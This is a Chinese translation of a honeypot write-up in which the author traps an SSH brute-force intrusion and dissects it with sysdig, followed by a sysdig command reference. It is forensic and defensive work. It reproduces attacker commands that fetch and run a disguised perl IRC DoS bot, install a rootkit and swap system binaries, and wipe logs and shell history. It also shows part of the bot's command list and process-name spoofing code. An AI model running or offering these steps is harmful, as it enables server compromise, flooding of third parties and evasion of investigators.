<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/14148

            From: https://sysdig.com/blog/fishing-for-hackers/

            幾天前我偶然看到一篇經典的博文,文章介紹了加強一個全新Linux服務安全性的常規做法,其中包括安裝fail2ban,禁用SSH密碼認證,隨機化SSH端口,配置iptables等內容。這讓我聯想到,假如我與其背道而馳會發生什么?當然,最常見的結果就是使其淪陷成為一個僵尸網絡的受害者,僵尸網絡就是在不停地掃描大范圍的公網IP地址,以期望通過暴力破解(SSH或Wordpress等)的方式找到一些配置不當的服務。但是當你成為這些簡單攻擊的受害者時,實際上發生了什么?攻擊者又做了些什么?本篇文章就使用sysdig捕獲分析我們服務器上實際攻擊的例子,進而解答以上提出的問題。所以讓我們釣起魚兒來!

            0x00 起步


            具體的想法就是將一組配置不當且存在漏洞的服務器暴露在互聯網上,等到有人入侵后,我們再來分析一下發生了哪些有趣的事情。這就相當于:把誘餌撒到水中,等待魚兒上鉤,然后抓一個上來研究研究。首先我需要一些誘餌,意即一些配置不當的主機。現在來說這些都是so easy的事兒啦。我使用了好幾種IaaS供應商(確切來說是AWS,Rackspace和Digital Ocean)的服務,配置了大約20臺Ubuntu 12.04服務器——希望其中至少有一個服務器能夠成為某些僵尸網絡的“重點”關注對象。接下來就需要正確地記錄操作系統的活動,這樣我就可以確切地知道攻擊者采取了哪些手段。因為我喜愛使用sysdig,所以我選擇將sysdig和S3組合使用。我使用-z來啟用sysdig的壓縮功能,進而捕獲每個I/O buffer中產生的大量字節數。

            #!shell
            sysdig -s 4096 -z -w /mnt/sysdig/$(hostname).scap.gz
            

            現在所有的實例都已配置妥當,我就簡單地以"password"作為密碼開啟SSH root登錄,以確保即使是最愚蠢的暴力破解算法也能很快地攻破系統。在這之后,我就靜靜地看著sysdig將結果dump到S3上。

            0x01 中頭彩了!


            第一個魚兒來得如此之快:其中一個服務器僅在4小時后就被攻陷了!我是怎么知道的?我注意到在我的S3 bucket上,sysdig記錄的文件在頃刻間往上跳了好幾兆——遠遠超過了閑置服務器在后臺運行時,應該產生大約100KB/hour的流量。所以我就將這個記錄文件(大約150MB)下載到我的OSX上,探索研究一下。

            0x02 探索服務器端產生的攻擊


            我以我比較喜歡的方式開始進行分析:總覽一下主機上進程,網絡和I/O當中發生了些什么。首先,我通過受害主機上的網絡I/O流量來查看top進程:

            #!shell
            $ sysdig -r trace.scap.gz -c topprocs_net
            Bytes     Process
            ------------------------------
            439.63M   /usr/sbin/httpd
            422.29M   /usr/local/apac
            5.27M     sshd
            2.38M     wget
            20.81KB   httpd
            9.94KB    httpd
            6.40KB    perl
            

            服務器上產生了相當多的流量,但是我并沒有配置任何服務!在那之后我也不記得有安裝過/usr/sbin/httpd/usr/local/apac。接下來我們再看看網絡連接:

            #!shell
            $ sysdig -r trace.scap.gz -c topconns
            Bytes     Proto     Connection
            ------------------------------
            439.58M   udp       170.170.35.93:50978->39.115.244.150:800
            422.24M   udp       170.170.35.93:55169->39.115.244.150:800
            4.91M     tcp       85.60.66.5:59893->170.170.35.93:22
            46.72KB   tcp       170.170.35.93:39193->162.243.147.173:3132
            43.62KB   tcp       170.170.35.93:39194->162.243.147.173:3132
            20.81KB   tcp       170.170.35.93:53136->198.148.91.146:6667
            1000B     udp       170.170.35.93:0->39.115.244.150:800
            

            我的主機產生了800MB的UDP流量——我的天哪!這簡直就是活生生的DOS攻擊。我猜測攻擊者安裝了一些僵尸網絡的客戶端,來生成相應的DOS流量,所以我當機立斷地把服務器關了,確保它不會對其他人造成進一步的傷害。就我目前所掌握的信息可以確定服務器已經被攻陷了,我如果使用其他的監控工具也可以得出相同的結論。然而不同的是,我的S3 bucket里存儲著全部的細節,所以我就可以開始深度挖掘實際發生的情況。我先使用我最愛的chisel,spy_users,看看惡意用戶在登錄之后干了些啥:

            #!shell
            $ sysdig -r trace.scap.gz -c spy_users
            06:11:28 root) cd /usr/sbin
            06:11:30 root) mkdir .shm
            06:11:32 root) cd /usr/sbin/.shm
            06:11:39 root) wget xxxxxxxxx.altervista.org/l.tgz
            06:11:40 root) tar zxvf l.tgz
            06:11:42 root) cd /usr/sbin/.shm/lib/.muh/src
            06:11:43 root) /bin/bash ./configure --enable-local
            06:11:56 root) make all
            

            看到這里發生了什么嗎?攻擊者使用了一個“聰明”的名字.shm,在/usr/sbin目錄下創建了一個隱藏文件夾,然后下載程序的源代碼并開始編譯。我把上面URL中的文件下載下來了,發現它是個IRC bouncer Muh。在存檔文件中,我發現一些類似于攻擊者非常個人化的配置文件這樣有趣的事物,其中包含了各種用戶名密碼還有一堆用于自動加入Undernet的IRC channel。他接下來做了這些事:

            #!shell
            06:13:19 root) wget http://xxxxxxxxx.altervista.org/.sloboz.pdf
            06:13:20 root) perl .sloboz.pdf
            06:13:20 root) rm -rf .sloboz.pdf
            06:12:58 root) /sbin/iptables -I INPUT -p tcp --dport 9000 -j ACCEPT
            06:12:58 root) /sbin/iptables -I OUTPUT -p tcp --dport 6667 -j ACCEPT
            

            Nice!一個perl腳本文件被下載成為一個隱藏的pdf文件。我很好奇想要了解更多的東西。不幸的是,當我試圖訪問以上的URL時,文件已經不復存在了。好吧,還有sysdig可以幫助我,因為它記錄了每一個I/O操作(正如我在命令中指定的,每個操作最多記錄4096字節的數據)。我就可以看到wget往文件中寫了些啥:

            #!shell
            $ sysdig -r trace.scap.gz -A -c echo_fds fd.filename=.sloboz.pdf
            ------ Write 3.89KB to /run/shm/.sloboz.pdf
            #!/usr/bin/perl
            ####################################################################################################################
            ####################################################################################################################
            ##  Undernet Perl IrcBot v1.02012 bY DeBiL @RST Security Team   ## [ Help ] #########################################
            ##      Stealth MultiFunctional IrcBot Writen in Perl          #####################################################
            ##        Teste on every system with PERL instlled             ##  !u @system                                     ##
            ##                                                             ##  !u @version                                    ##
            ##     This is a free program used on your own risk.           ##  !u @channel                                    ##
            ##        Created for educational purpose only.                ##  !u @flood                                      ##
            ## I'm not responsible for the illegal use of this program.    ##  !u @utils                                      ##
            ####################################################################################################################
            ## [ Channel ] #################### [ Flood ] ################################## [ Utils ] #########################
            ####################################################################################################################
            ## !u !join <#channel>          ## !u @udp1 <ip> <port> <time>              ##  !su @conback <ip> <port>          ##
            ## !u !part <#channel>          ## !u @udp2 <ip> <packet size> <time>       ##  !u @downlod <url+path> <file>     ##
            ## !u !uejoin <#channel>        ## !u @udp3 <ip> <port> <time>              ##  !u @portscan <ip>                 ##
            ## !u !op <channel> <nick>      ## !u @tcp <ip> <port> <packet size> <time> ##  !u @mail <subject> <sender>       ##
            ## !u !deop <channel> <nick>    ## !u @http <site> <time>                   ##           <recipient> <message>    ##
            

            因催斯汀...這原來是一個perl DoS客戶端,可以被IRC控制執行命令,所以攻擊者就可以很輕松地管理這些成千上萬的機器。我也是足夠地幸運,因為wget在整個過程中就進行了4KB的I/O操作,所以如果我查看全部的輸出,我就可以得到完整的源代碼(以上的是被截斷的)。通過讀取其中的header我們就可以知道這個東西是怎么運作的——它應該會接收到一個“@udp”IRC消息然后使用網絡流量沖擊目標主機。讓我們來看看是否有人發送了一個命令:

            #!shell
            $ sysdig -r trace.scap.gz -A -c echo_fds evt.buffer contains @udp
            ------ Read 67B from 170.170.35.93:39194->162.243.147.173:3132
            :[email protected] PRIVMSG #nanana :!u @udp1 39.115.244.150 800 300
            

            正如你所見,bot接收到一個(肯定來自它的owner)TCP連接,其中包含一條向39.115.244.150IP的800端口的攻擊命令,這正好跟之前網絡連接列表中,前兩項泛洪數百兆流量的IP地址和端口號相同。這一切都很有意義!但是攻擊并沒有就此止步:

            #!shell
            06:13:11 root) wget xxxxxxxxx.xp3.biz/other/rk.tar
            06:13:12 root) tar xvf rk.tar
            06:13:12 root) rm -rf rk.tar
            06:13:12 root) cd /usr/sbin/rk
            06:13:17 root) tar zxf mafixlibs
            

            什么是mafixlibs?Google說它是一種rootkit,但是我想看看在那個tar文件里包含著什么,所以我就再次使用sysdig,查詢tar寫了哪些文件:

            #!shell
            $ sysdig -r trace.scap.gz -c topfiles_bytes proc.name contains tar and proc.args contains mafixlibs
            Bytes     Filename
            ------------------------------
            207.76KB  /usr/sbin/rk/bin/.sh/sshd
            91.29KB   /usr/sbin/rk/bin/ttymon
            80.69KB   /usr/sbin/rk/bin/lsof
            58.14KB   /usr/sbin/rk/bin/find
            38.77KB   /usr/sbin/rk/bin/dir
            38.77KB   /usr/sbin/rk/bin/ls
            33.05KB   /usr/sbin/rk/bin/lib/libproc.a
            30.77KB   /usr/sbin/rk/bin/ifconfig
            30.71KB   /usr/sbin/rk/bin/md5sum
            25.88KB   /usr/sbin/rk/bin/syslogd
            

            可以很清楚地看到是一堆二進制文件。所以我猜測在我的spy_users輸出中可以看到攻擊者正在替換系統組件:

            #!shell
            06:13:18 root) chattr -isa /sbin/ifconfig
            06:13:18 root) cp /sbin/ifconfig /usr/lib/libsh/.backup
            06:13:18 root) mv -f ifconfig /sbin/ifconfig
            06:13:18 root) chattr +isa /sbin/ifconfig
            

            確實,他人還挺好的給我留了一份備份文件。到目前為止我所掌握的信息有:我得到了一對IRC bots,一些入侵系統的二進制文件以及我成功解釋了在開始時看到的UDP泛洪流量。但還遺留下來一個問題就是:為什么topprocs_net顯示出所有的UDP流量都是由/usr/sbin/httpd/usr/local/apac進程產生的,我還未在spy_users的輸出中發現哪些安裝在機器上的二進制文件呢?我猜測perl bot它自己能夠發送UDP數據包,因為它是接收命令的那一方。讓我們再次使用sysdig,并且定位到系統調用級別。我想查看所有和“/usr/local/apac”有關的事件:

            #!shell
            $ sysdig -r trace.scap.gz -A evt.args contains /usr/local/apac
            ...
            955716 06:13:20.225363385 0 perl (10200) < clone res=10202(perl) exe=/usr/local/apach args= tid=10200(perl) pid=10200(perl) ptid=7748(-bash) cwd=/tmp fdlimit=1024 flags=0 uid=0 gid=0 exepath=/usr/bin/perl
            ...
            

            既然來到這兒了,我也想看看這個pid為10200的perl進程是何時啟動的:

            #!shell
            $ sysdig -r trace.scap.gz proc.pid = 10200
            954458 06:13:20.111764417 0 perl (10200) < execve res=0 exe=perl args=.sloboz.pdf. tid=10200(perl) pid=10200(perl) ptid=7748(-bash) cwd=/run/shm fdlimit=1024 exepath=/usr/bin/perl
            

            同我們之前看到的那樣,perl進程只是和“.sloboz.pdf”相關。但是你有沒有看出其中的端倪?這極有可能被魚目混珠過去:perl進程(肯定是DoS客戶端)將它自己fork了(clone event 955716),但是在這之前它把它自己的可執行文件名和參數(“exe” and “args”)從“perl .sloboz.pdf” (event 954458)改為一個隨機且不可疑的“/usr/local/apach” (event 955716)。這就可以迷惑像ps,top和sysdig這樣的工具。當然,在這里是并沒有/usr/local/apach的。你可以看到在fork進程后從未執行過一個新的二進制文件,它只是改變了名字而已。通過閱讀perl客戶端的源碼(使用echo_fds),我可以進一步確認這一點:

            #!shell
            my @rps = ("/usr/local/apache/bin/httpd -DSSL","/usr/sbin/httpd -k start -DSSL","/usr/sbin/httpd","/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D","/sbin/syslogd","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron");    
            
            my $process = $rps[rand scalar @rps];    
            
            $0="$process".""x16;;    
            
            my $pid=fork;
            

            perl進程將其argv改為一個隨機化的普通名字,然后再fork自身,很有可能是用來作為守護進程。最后,攻擊者決定刪除日志并用新的來替換它們:

            #!shell
            06:13:30 root) rm -rf /var/log/wtmp
            06:13:30 root) rm -rf /var/log/lastlog
            06:13:30 root) rm -rf /var/log/secure
            06:13:30 root) rm -rf /var/log/xferlog
            06:13:30 root) rm -rf /var/log/messages
            06:13:30 root) rm -rf /var/run/utmp
            06:13:30 root) touch /var/run/utmp
            06:13:30 root) touch /var/log/messages
            06:13:30 root) touch /var/log/wtmp
            06:13:30 root) touch /var/log/messages
            06:13:30 root) touch /var/log/xferlog
            06:13:30 root) touch /var/log/secure
            06:13:30 root) touch /var/log/lastlog
            06:13:30 root) rm -rf /var/log/maillog
            06:13:30 root) touch /var/log/maillog
            06:13:30 root) rm -rf /root/.bash_history
            06:13:30 root) touch /root/.bash_history
            

            0x04 結論


            哇噢。通過從高角度分析和在必要的時候深入到某個系統調用,我能夠很準確地追蹤到發生了什么。而這一切都是在實例完全關閉的情況下,僅僅使用sysdig來記錄包含所有系統活動的文件!

            0x05 最后說明


            0x06 譯者注


            安裝

            sysdig可直接在Kali2下安裝:

            #!shell
            apt-get -y install sysdig
            

            快速參考指南

            命令格式

            sysdig [option]... [filter]

            命令選項

            -b, --print-base64

            以base64的形式打印出數據buffer。這對二進制數據編碼非常又用,進而可以將其用于處理文本數據的媒介中(例如,終端或者json)。

            -c chiselname chiselargs, --chisel=chiselname chiselargs

            運行特定的chisel。如果某chisel需要傳遞參數,那么它們必須跟在chisel名之后。

            -cl, --list-chisels

            列出可用的chisel。其會在.,./chisels~/chisels/usr/share/sysdig/chisels中搜尋chisel。

            -dv, --displayflt

            為給定的過濾器設置輸出。一旦設置了這個選項就會使事件在被狀態系統解析后過濾。將事件在被分析前過濾是很有效的,但是可能會造成狀態的丟失(例如FD名)。

            -h, --help

            打印出此幫助頁面

            -j, --json

            以json的格式作為輸出。數據buffer是否編碼則取決于輸出格式的選擇。

            -l, --list

            列出可被過濾器和輸出格式使用的字段。使用-lv將會得到每個字段的附加信息。

            -L, --list-events

            列出該設備支持的事件。

            -n num, --numevents=num

            在一定事件后停止捕獲

            -p output_format, --print=output_format

            指定打印事件時使用的格式。可在examples部分獲得更多相關信息。

            -q, --quiet

            不在屏幕上輸出事件。這一點在dump到磁盤時非常有用。

            -r readfile, --read=readfile

            從文件中讀取事件。

            -S, --summary

            當捕獲結束時打印出事件摘要(例如top事件列表)

            -s len, --snaplen=len

            為每一個I/O buffer捕獲的字節數。默認情況下,頭80個字節會被捕獲。請謹慎使用此選項,它可以產生巨大的記錄文件。

            -t timetype, --timetype=timetype

            更改事件時間的顯示方式。可接收的值有:h用于人類可讀的字符串,a用于絕對時間戳,r用于從開始捕獲起的相對時間,d則用于事件登入登出中的delta。

            -v, --verbose

            詳細輸出。

            -w writefile, --write=writefile

            將捕獲的事件寫入到writefile中。

            基本命令列表

            捕獲當前的系統中的所有事件,并將其輸出到屏幕上

            sysdig

            捕獲當前的系統中的所有事件,并將其存儲到磁盤中

            sysdig -qw dumpfile.scap

            從文件中讀取事件,并將其輸出到屏幕上

            sysdig -r dumpfile.scap

            打印出全部由cat引發的open操作系統調用

            sysdig proc.name=cat and evt.type=open

            打印出cat打開的文件名

            ./sysdig -p"%evt.arg.name" proc.name=cat and evt.type=open

            列出可用的chisel

            ./sysdig -cl

            為192.168.1.157IP地址運行spy_ip chisel

            sysdig –c spy_ip 192.168.1.157

            輸出格式

            在默認情況下,sysdig將在一行上打印出每個捕獲事件的相關信息,以如下格式呈現:

            <evt.time> <evt.cpu> <proc.name> <thread.tid> <evt.dir> <evt.type> <evt.args>

            其中:evt.time為時間時間戳;evt.cpu為事件被捕獲所處的CPU number;proc.name為事件產生的進程名;thread.tid為事件產生的TID,相對于單線程進程來說就是它的PID;evt.dir為事件的方向,>為事件進入,<為事件退出;evt.type為事件的名稱,例如'open'或者'read';evt.args則是事件參數列表。

            可利用-p指定輸出格式,也可用使用'sysdig -l'列出所有的字段。

            Filtering

            可在命令行的結尾設定sysdig過濾器。最簡單的過濾器就是一個簡單的域值檢測:

            $ sysdig proc.name=cat

            利用'sysdig -l'可得到所有可用的字段。以下對比操作符皆可用來檢測相關內容: =!=<<=>>=contains。例如:

            $ sysdig fd.name contains /etc

            可使用括號和布爾運算符andornot進行多重檢測:

            $ sysdig "not(fd.name contains /proc or fd.name contains /dev)"

            Chisels

            Sysdig中的chisels是分析sysdig事件流并執行有用的操作小腳本。如下輸入可得到可用的chisel列表:

            $ sysdig –cl

            對于每一個chisel,你必須鍵入相應的名字和其預期的參數。可使用-c運行一個chisel,例如:

            $ sysdig –c topfiles_bytes

            如果一個chisel需要參數,可在chisel名后設定:

            $ sysdig –c spy_ip 192.168.1.157

            Chiesls可與filters聯合使用:

            $ sysdig -c topfiles_bytes "not fd.name contains /dev"

            使用實例

            Networking

            sysdig -c topprocs_net

            as binary: sysdig -s2000 -X -c echo_fds fd.cip=192.168.0.1 as ASCII: sysdig -s2000 -A -c echo_fds fd.cip=192.168.0.1

            in terms of established connections: sysdig -c fdcount_by fd.sport "evt.type=accept" in terms of total bytes: sysdig -c fdbytes_by fd.sport

            in terms of established connections sysdig -c fdcount_by fd.cip "evt.type=accept" in terms of total bytes sysdig -c fdbytes_by fd.cip

            sysdig -p"%proc.name %fd.name" "evt.type=accept and proc.name!=httpd"

            Containers

            sudo csysdig -vcontainers

            sudo csysdig -pc

            sudo sysdig -pc -c topprocs_cpu container.name=wordpress1

            sudo sysdig -pc -c topprocs_net container.name=wordpress1

            sudo sysdig -pc -c topprocs_net container.name=wordpress1

            sudo sysdig -pc -c topfiles_bytes container.name=wordpress1

            sudo sysdig -pc -c topconns container.name=wordpress1

            sudo sysdig -pc -c spy_users container.name=wordpress1

            Application

            sudo sysdig -s 2000 -A -c echo_fds fd.port=80 and evt.buffer contains GET

            sudo sysdig -s 2000 -A -c echo_fds evt.buffer contains SELECT

            sysdig -s 2000 -A -c echo_fds fd.sip=192.168.30.5 and proc.name=apache2 and evt.buffer contains SELECT

            Disk I/O

            sysdig -c topprocs_file

            sysdig -c fdcount_by proc.name "fd.type=file"

            sysdig -c topfiles_bytes

            sysdig -c topfiles_bytes proc.name=httpd

            sysdig -p "%12user.name %6proc.pid %12proc.name %3fd.num %fd.typechar %fd.name" evt.type=open

            sysdig -c fdbytes_by fd.directory "fd.type=file"

            sysdig -c fdbytes_by fd.filename "fd.directory=/tmp/"

            sysdig -A -c echo_fds "fd.filename=passwd"

            sysdig -c fdbytes_by fd.type

            Processes and CPU usage

            sysdig -c topprocs_cpu

            sysdig -s4096 -A -c stdout proc.name=cat

            Performance and Errors

            sysdig -c topfiles_time

            sysdig -c topfiles_time proc.name=httpd

            sysdig -c topprocs_errors

            sysdig -c topfiles_errors

            sysdig fd.type=file and evt.failed=true

            sysdig "proc.name=httpd and evt.type=open and evt.failed=true"

            See the system calls where most time has been spent

            sysdig -c topscalls "evt.failed=true"

            sysdig -p "%12user.name %6proc.pid %12proc.name %3fd.num %fd.typechar %fd.name" evt.type=open and evt.failed=true

            sysdig -c fileslower 1

            Security

            sysdig -p"%evt.arg.path" "evt.type=chdir and user.name=root"

            sysdig -A -c echo_fds fd.name=/dev/ptmx and proc.name=sshd

            sysdig evt.type=open and fd.name contains /etc

            sysdig -r file.scap -c list_login_shells tar

            sysdig -r trace.scap.gz -c spy_users proc.loginshellid=5459

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线